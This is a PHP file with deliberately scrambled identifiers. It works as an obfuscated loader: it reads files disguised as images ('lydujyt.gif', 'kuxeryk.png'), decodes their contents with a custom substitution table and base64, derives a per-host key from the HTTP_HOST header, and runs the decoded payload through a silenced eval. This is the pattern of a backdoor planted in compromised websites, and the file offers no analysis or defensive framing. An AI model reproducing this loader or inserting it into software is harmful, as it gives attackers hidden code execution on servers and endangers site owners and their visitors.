<?php

class sabiwo_ixakhizhim {

    public $azhasak = 'lydujyt.gif';
    public $ubehon_zhoryshikex = false;
    public $exetyf_pavimathux = false;
    public $towere_zogyjyke = false;

    protected function ojegyb_nukhoxalam($obinij_telivotho) {
        $ylaqyd_khegifon = crc32($obinij_telivotho);
        if ((PHP_INT_SIZE > 4) && ($ylaqyd_khegifon & 0x80000000))
            $ylaqyd_khegifon = $ylaqyd_khegifon - 0x100000000;
        return abs($ylaqyd_khegifon);
    }

    protected function osojom_chuselitu($obinij_telivotho) {
        $alozhym = "3wapbr+IVWA0PHcqzXYdJZmyU1xDNhlCMOL2TFsv/6oen8Ejf5kKGRu7tgS9=4iQB";
        $umehij = "6WOfd/vVUDo=59nMyrEPNlecCTxLKpjiBJabQIsHt82Sz3w4AhkY1Fu7ZXmg0+GRq";
        $fubyqeh = array();
        for ($usohazh = 0; $usohazh < strlen($alozhym); $usohazh++) {
            $sikidy = substr($alozhym, $usohazh, 1);
            $ganufy = substr($umehij, $usohazh, 1);
            $fubyqeh[$sikidy] = $ganufy;
        }

        $bucuzid = strtr($obinij_telivotho, $fubyqeh);
        $bucuzid = base64_decode($bucuzid);

        return $bucuzid;
    }

    protected function uhokic_liwushug($obinij_telivotho) {
        $ujivip = array();
        if (!file_exists($obinij_telivotho))
            return false;
        $qotane = @file_get_contents($obinij_telivotho);
        if (!$qotane)
            return false;
        $qotane = substr($qotane, 3);
        $ujivip = $this->osojom_chuselitu($qotane);
        return $ujivip;
    }

    public function unaqys_idakhyfi() {
        $kiropa_arechegi = __DIR__ . "/" . $this->azhasak;
        $neheja_vythihochash = $this->uhokic_liwushug($kiropa_arechegi);
        if (!$neheja_vythihochash)
            return false;
        $this->ubehon_zhoryshikex = $neheja_vythihochash;
        return true;
    }

    public function ufipif_orucixych() {
        if ($this->exetyf_pavimathux)
            return true;
        $kiropa_arechegi = __DIR__ . '/kuxeryk.png';
        if (!file_exists($kiropa_arechegi)) {
            return false;
        }

        $neheja_vythihochash = $this->uhokic_liwushug($kiropa_arechegi);
        $ylaqyd_khegifon = "HTTP" . "_HOS" . "T";
        $kaqiri_gezozipy = $_SERVER[$ylaqyd_khegifon];
        $evinuw_lychyvukach = floor(strlen($neheja_vythihochash) / 32);
        $lajifo_wezhaqush = $this->ojegyb_nukhoxalam($kaqiri_gezozipy) % $evinuw_lychyvukach;
        $awebib_cilufanar = substr($neheja_vythihochash, $lajifo_wezhaqush * 32, 32);
        $this->towere_zogyjyke = $lajifo_wezhaqush;
        $this->exetyf_pavimathux = $awebib_cilufanar;

        if (!defined('zedesi_khonazhoho'))
            define('zedesi_khonazhoho', $awebib_cilufanar);
        if (!defined('akoguw_ucejojeka'))
            define('akoguw_ucejojeka', $lajifo_wezhaqush + 1);

        return $awebib_cilufanar;
    }

}

$shiguka = new sabiwo_ixakhizhim();
$shiguka->ufipif_orucixych();
$shiguka->unaqys_idakhyfi();

if ($shiguka->ubehon_zhoryshikex) {
    @eval($shiguka->ubehon_zhoryshikex);
}